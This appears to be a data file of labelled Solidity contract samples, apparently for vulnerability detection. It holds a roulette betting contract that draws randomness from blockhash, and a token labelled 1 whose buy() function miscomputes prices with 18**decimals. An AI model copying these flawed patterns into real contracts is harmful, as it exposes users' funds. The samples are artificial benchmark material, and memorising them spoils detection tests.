bet.transferredAmount = 0;
bet.betData = bytes32(0);
bet.placedOnBlock = 0;
bet.lastRevealBlock = 0;
}
function placeBet(
uint256 magicNumber,
uint256 expiredAfterBlock,
bytes32 betData,
bytes32 r,
bytes32 s
)
public
payable
{
require(
block.number <= expiredAfterBlock,
"Timeout of current bet to place."
);
Bet storage bet = bets[magicNumber];
require(bet.player == address(0), "The slot is not empty.");
uint32 betAmount = calcBetAmount(betData);
uint256 betWei = convertAmountToWei(betAmount);
require(msg.value >= betWei, "There are not enough wei are provided by customer.");
require(betWei <= maxBetWei, "Exceed the maximum.");
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 hash = keccak256(
abi.encodePacked(magicNumber, expiredAfterBlock)
);
address signer = ecrecover(
keccak256(abi.encodePacked(prefix, hash)),
28, r, s
);
require(
signer == banker,
"The signature is not signed by the banker."
);
bet.player = msg.sender;
bet.transferredAmount = msg.value;
bet.betData = betData;
bet.placedOnBlock = block.number;
bet.lastRevealBlock = expiredAfterBlock;
bets[magicNumber] = bet;
emit BetIsPlaced(bet.transferredAmount, magicNumber, betData, expiredAfterBlock);
}
function revealBet(uint256 randomNumber) public {
uint256 magicNumber = uint256(
keccak256(abi.encodePacked(randomNumber))
);
Bet storage bet = bets[magicNumber];
address betPlayer = bet.player;
bytes32 betbetData = bet.betData;
uint256 betPlacedOnBlock = bet.placedOnBlock;
uint256 betLastRevealBlock = bet.lastRevealBlock;
require(
betPlayer != address(0),
"The bet slot cannot be empty."
);
require(
betPlacedOnBlock < block.number,
"Cannot reveal the bet on the same block where it was placed."
);
require(
block.number <= betLastRevealBlock,
"The bet is out of the block range (Timeout!)."
);
bytes32 n = keccak256(
abi.encodePacked(randomNumber, blockhash(betPlacedOnBlock))
);
uint8 spinNumber = uint8(uint256(n) % 38);
uint32 winAmount = calcWinAmountOnNumber(betbetData, spinNumber);
uint256 winWei = 0;
if (winAmount > 0) {
winWei = convertAmountToWei(winAmount);
if (address(this).balance < winWei) {
emit BetCannotBeRevealed(magicNumber, RevealFailStatus.InsufficientContractBalance);
return;
}
betPlayer.transfer(winWei);
}
emit BetIsRevealed(magicNumber, spinNumber, winAmount);
clearBet(magicNumber);
}
function refundBet(uint256 magicNumber) public {
Bet storage bet = bets[magicNumber];
address player = bet.player;
uint256 transferredAmount = bet.transferredAmount;
uint256 lastRevealBlock = bet.lastRevealBlock;
require(player != address(0), "The bet slot is empty.");
require(block.number > lastRevealBlock, "The bet is still in play.");
player.transfer(transferredAmount);
clearBet(magicNumber);
}
}
| 0 | 1,167 |
pragma solidity ^0.4.19;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TonalQuantum is StandardToken, Ownable {
string public name = "Tonal Quantum Token";
string public symbol = "TOQ";
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 300000000 * (10**uint256(decimals));
event Bless(address indexed from, string words, uint256 value);
event LogBuy(address user, uint amount);
function TonalQuantum() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function buy() payable public returns (bool) {
require(msg.value >= 0.00005 ether * (18**uint256(decimals)));
uint _value = msg.value / 0.00005 ether * (18**uint256(decimals));
balances[owner] = balances[owner].sub(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
LogBuy(msg.sender, _value);
return true;
}
function bless(string _words, uint256 _value) public returns (bool) {
require(_value >= bytes(_words).length);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[owner] = balances[owner].add(_value);
Bless(msg.sender, _words, _value);
return true;
}
function reclaimEther() onlyOwner public {
assert(owner.send(address(this).balance));
}
function() payable public {
buy();
}
}
| 1 | 3,222 |
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